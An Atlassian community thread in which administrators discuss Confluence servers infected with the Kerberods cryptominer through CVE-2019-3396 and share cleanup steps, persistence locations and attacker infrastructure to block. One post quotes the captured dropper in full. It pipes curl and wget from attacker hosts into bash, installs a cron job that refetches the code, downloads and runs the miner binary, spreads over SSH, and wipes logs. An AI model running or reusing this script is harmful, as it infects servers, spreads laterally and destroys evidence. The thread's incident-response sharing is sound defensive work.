How come my confluence installation was hacked by Kerberods malware?

Hey Andre,

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

You mentioned upgrading to the latest point release, but I just want to be very explicit about what latest versions are mitigated. The last 6.9.x release was not a version that contained a fix. The latest releases are:

6.6.13 (6.6 is an Enterprise release)
6.12.4
6.13.4 (6.13 is an Enterprise release)
6.14.3
6.15.2

So first, knowing what version you upgraded to would be helpful (or double-check against the list).

Secondly, the LSD malware cleanup tool will be useful for removing Kerberods. It sounds like you have detection under control for Kerberods. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!

Cheers,
Daniel | Atlassian Support

All comments

Hey Andre,

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

6.6.13 (6.6 is an Enterprise release)
6.12.4
6.13.4 (6.13 is an Enterprise release)
6.14.3
6.15.2

So first, knowing what version you upgraded to would be helpful (or double-check against the list).

Please let me know if you have more questions!

Cheers,
Daniel | Atlassian Support

ahmeij

Hi Daniel,

We've upgraded to 6.15.2 so we should be ok now. Thank you for the confirmation and the link to the CVE.

I'll check the LSD cleanup tool but I believe we've effectively removed the infection.

Thanks again!

Andre

As a follow-up, we're compiling some information on scanners that picked up the Kerberods package. If you feel comfortable sharing what detected this for you, that'd be helpful info for us. Thank you!

ahmeij

To be honest none of our scanners caught this, even after specifically updating clamav.

We detected a portscan initiated from the host which triggered an investigation. This particular malware has a dead giveaway which is a process taking all cpu, in our case 'kerberods' which sounds like a thing (kerebos), but really isn't.

Hope this helps someone.

For details on the package itself check xmxHzu5P on pastebin.

zinczukw

I caught this on my server when the CPU usage spiked. Upon getting access to the box I examined the history which listed commands as.

(curl -fsSL http://166.62.38.167/plus/cx.2 ||wget -q -O- http://166.62.38.167/plus/cx.2 ||python -c 'import urllib2 as fbi;import urllib2;proxy = urllib2.ProxyHandler({});opener = urllib2.build_opener(proxy);urllib2.install_opener(opener);print fbi.urlopen("http://166.62.38.167/plus/cx.2").read()') | /bin/bash

This in turn led me to following a bunch of paste bin links that in turn would link to more curl commands until I hit this script : https://pastebin.com/raw/Zk7Jv9j2

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    fi
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Looking at the contents I found the various kerberods executable files and cleaned up after itself. Minimal damage looks like but heavy on the CPU noise.

Sebastian Saip

We were also affected by this kerberods malware.

How I got rid of it:

which kerberods

and then

rm /usr/sbin/kerberods

as well as cleaning up the created cron job

John Norman

A couple of things:

I had a lengthy conversation with Atlassian support regarding CVE-2019-3396 Widget Connector vulnerability and was told that if there are no public pages (i.e., all access requires auth) then one is not exposed. However, the hack still works and one should upgrade. Anyway, this is a miscommunication by Atlassian.
Now, if access to any pages does require auth, how does this possibly happen? It seems that some endpoints do not require auth. For instance, try this on with your browser when you're not logged in and using an unpatched Confluence (may even happen with a patched Confluence):

/pages/resumedraft.action

The result is a 403 page but it has UI elements (site search), but worse,our organization icon is exposed. This is a security gaffe. Sure this should be a 403 and not a 404. Not authorized? --> you get nothing.

Studying our logs, it also seems that some HTTP POSTs did not require auth.

Joakim Kennedy

This is an ongoing campaign by the Rocke group: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang

Hey John,

Thanks for raising these concerns. I do see an existing suggestion on jira.atlassian.com about changing the status codes on some returns: CONFSERVER-55343 - feel free to add a comment to the ticket with the additional context here since it's not a 1:1 match with what you've brought up.

For most customers, getting a UI-rendered error page is something more user-friendly than simply returning a raw 403/404. I would note that the base URL / login pages for Confluence also render the header and custom logo if you've uploaded one. If exposing your organization's logo is a concern, I would recommend going down the route of putting your Confluence server behind a firewall so you must be on a VPN to get access externally.

Cheers,
Daniel | Atlassian Support

John Norman

I'll add a note to https://jira.atlassian.com/browse/CONFSERVER-55343?_ga=2.8839228.800296403.1555421190-1414102218.1548940346

As to revealing a logo: For a forbidden resource, putting a site behind a firewall or VPN is complete non-starter. If there is a resource on the Internet and it returns a 403, there should absolutely be no reveal at all about the resource being accessed. That is plain and simple Security 101: Don't give the attacker more information.

For a 404: That could reveal a logo.

duke-nguyen

Hi guys,

I found the attacker also wrote the ssh key to the folder `/home/confluence/.ssh/authorized_keys`, so they can ssh to your system. Please review and remove the unknown key.

In my system, the key looks like:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZnO+F/CKFgcs1jRmWcN1bzitmSrUuvKS6OM79ywuoETUVXnp1IFxfwMlc1Ewlkd5hVPk0bE6/mX4hH2wYmO2w/TKkyKD50/v3J/rcAcsrQ3uu9opXpjFtXxm4GuXT0tt1ITf5kwevh0Xj1oqiV/2pXn9mm6uTfXafvCRM+3nWj74U0Gh+U4gyc2n3dVqgZHOZWhV6fFp5MJ9HM1bTTsREbVbvIjG2B0msAQxqRTuaLpARF3YbSu3yL7PDXjLnil5s7GihHTZlngqlu9BrvwT6LuJ0v18pdaNiSTtmw8tY+XMIuQ4H8ZuwLuBzk9XW17LVGfjrz8i5pmvruSgHX7xv FBI@USA.GOV

Hope that help.

tony diller_swuig1

Had this happen to me as well. I think I got all the kerbords files but I found that there was a crontab file created that ran this. I remove it and it gets put back in place as if there is another cron job that runs to make sure it is in place. for now I have cron turned off. Any ideas?

Hello, this threat is infecting many Linux / VPS servers in the internet now. There are many incidents reported about this hack. Basically the actors are from China region, they aim vulnerable servers, gain access and drop installer script . or , upload a packed ELF (actually is a Go compiled ELF) to drop embedded monero miner to the victim's server, and using it for scanning related segment for same and other (redis) vulnerability too.
You can see the analysis for the sample sent to me in the below URL, contains artifacts for your infected machines or for blocking purpose. The report is using open source binary analysis tool radare2 for you to confirm the details by yourself.
https://imgur.com/a/H7YuWuj

Greets from malwaremustdie.org

Shrini Kulkarni

^ use the link pasted here for LSD malware cleanup and download busybox (utility to provide POSIX functions from running directory instead of /bin or /usr/bin)

Then whatever commands like top, `ps -ef`, `kill -9`, etc prepend busybox and run those (else the system is infected, some of the commandline tool output might hide the malicious processes - the busybox ensures a pure posix call is made)

if CPU is pegged at 100% one of these processes khugepageds or kerberods (and some other programs as well) show up as consuming cycles

There are a bunch of files /var/cron/root etc that need to be deleted with the cron daemon turned off - Even if one or two of the files are not cleaned, they will reinfect the machine.

I would immediately back up the server and try and commission a new one to be safe. The malwaremustdie link on this page below has full list of debug hidden in the imgur image.

FWIW just merely running that shell script isn't enough - people are still scrambling to find full signature of the LSD (some are distro specific malware)

The latest infrastructure of the adversary used for mining, and downloaders are as per below list, it will help you to contain (by blocking) the threat while cleaning it up:

////// Infrastructure of SystemTen,ORG TO BLOCK //////

i.ooxx.ooo. 300 IN A 45.63.0.102
1.z9ls.com. 600 IN CNAME 1.z9ls.com.cdn.dnsv1.com.
1.z9ls.com.cdn.dnsv1.com. 600 IN CNAME 1824153.sp.tencdns.net.
1824153.sp.tencdns.net. 180 IN A 211.91.160.238
systemten.org. 900 IN A 104.248.53.213
z9ls.com. 600 IN A 103.52.216.35

i.ooxx.ooo | 45.63.0.102 | AS20473 | 45.63.0.0/20 | vultr.com/Choopa, LLC, US
1.z9ls.com | 211.91.160.238 | AS4837 | 211.91.160.0/20 | CHINA169 UNICOM China169 Backbone, CN
systemten.org| 104.248.53.213 | AS14061 | 104.248.48.0/20 | DigitalOcean, LLC, US
z9ls.com | 103.52.216.35 | AS132203, CN Tencent Bldg, Kejizhongyi Av, CN

hongjiangli

hi, all

My confluence instance is also hacked. But kerberods is found here: /dev/shm/.kerberods, do not know where it comes from.

I just killed .kerberods from processes and confluence works well now.

Maybe you guys know the reasons and risks.

Wolfgang Römer

I had the same effect, with the reoccuring cron jobs. At our machine the hacker had put a malicous version of console-kit-daemon in place. This daemon recreated the malicous cron jobs by creating the necessary files inside /var/spool/cron.

It seems that confluence RCE (remote command execution) vulnerability's PoC is published in details in several analysis in the internet, found one like this:
https://ia801509.us.archive.org/3/items/comment_main/CVE-2019-3396.html
My confluence received these attacks and has just updated to latest one to prevent bad code injection

Shrini Kulkarni

Here's a few more IPs I saw scripting attacks coming from

47.90.213.21 | ASN 45102| Alibaba (US) Technology Co. San Mateo

116.62.232.226 | ASN37963| Hangzhou Alibaba Advertising Co.,Ltd. Beijing

Search your apache access logs for all POST calls and look at the input/output (/var/log/apache(2) or confluence install's logs folder)

Surprised (or not so surprised) to see Alibaba owned IPs (probably their cloud infrastructure) being used at wanton.

The new campaign of the SystemTen (adversary behind this threat) has been spotted, please block their new infrastructure that we compiled in here: https://old.reddit.com/r/LinuxMalware/comments/bfaea2/fun_in_dissecting_lsd_packer_elf_golang_miner/elpthdq/

thanks, hope this helps.

This seems to still be going... the lsd removal tool is not working on this latest version. The host is `.kerberod 530 root 15u IPv4 8204 0t0 TCP confluence2:47534->benzoin.org:65314 (ESTABLISHED)`

In case anyone else is coming across this, as of Apr 29 2019, the latest vectors seem to be getting into these locations:

/etc/crontab:18:* * * * * root /tmp/.kerberods
/etc/rc3.d/S99local:9:/tmp/.kerberods
/etc/rc4.d/S99local:9:/tmp/.kerberods
/etc/rc2.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc3.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc4.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc2.d/S99local:9:/tmp/.kerberods
/etc/rc.d/init.d/functions:817:/tmp/.kerberods
/etc/rc.d/init.d/sysconfig:13: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc.d/init.d/sysconfig:16: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc.d/rc5.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc.local:9:/tmp/.kerberods
/etc/init.d/functions:817:/tmp/.kerberods
/etc/init.d/sysconfig:13: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/init.d/sysconfig:16: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc5.d/S99local:9:/tmp/.kerberods
/etc/rc.local:9:/tmp/.kerberods

When you kill the process, it immediately spawns a sleep 60 then relaunches. If you open 2 windows, run busybox top in one, then in the other kill {.kerberods}; watch for the sleep 60 and kill that. You might have to kill the sleep 60 multiple times, but eventually it will die and kerberods will not respawn. You can then delete the files (grep -Rn "kerberods" /locations) to look.

Check other crontabs

busybox grep -oE '^[^:]+' /etc/passwd | xargs -I{} crontab -l -u{}

Would you please kindly upload to me that ".kerberods" binary you just found? So I can reverse engineer their overall C2?
Please use this web interface to upload that binary securely: http://blog.malwaremustdie.org/sendsample.html

Very sorry but I delete it before I saw this message. However, I'm not 100% certain I got everything so will keep an eye out and if I see it again, I will certainly upload it...thanks for doing what you do!

edit: Actually, I created a backup before I upgraded confluence; I will boot that up and get you the binary.

Thank you! Much appreciate your hard effort. I'll make sure it worth.

Ian Cox

We had this also. One thing I don't understand is how they gain root access to add the cron job. The confluence service runs as the confluence user. Clearly I am mis-understanding something. Apologies if its obvious.

They don't get root -- they create the cron job under the confluence user. crontab -l -u confluence

Ian Cox

Ah, ok. I think I was misreading. Thanks. Phew.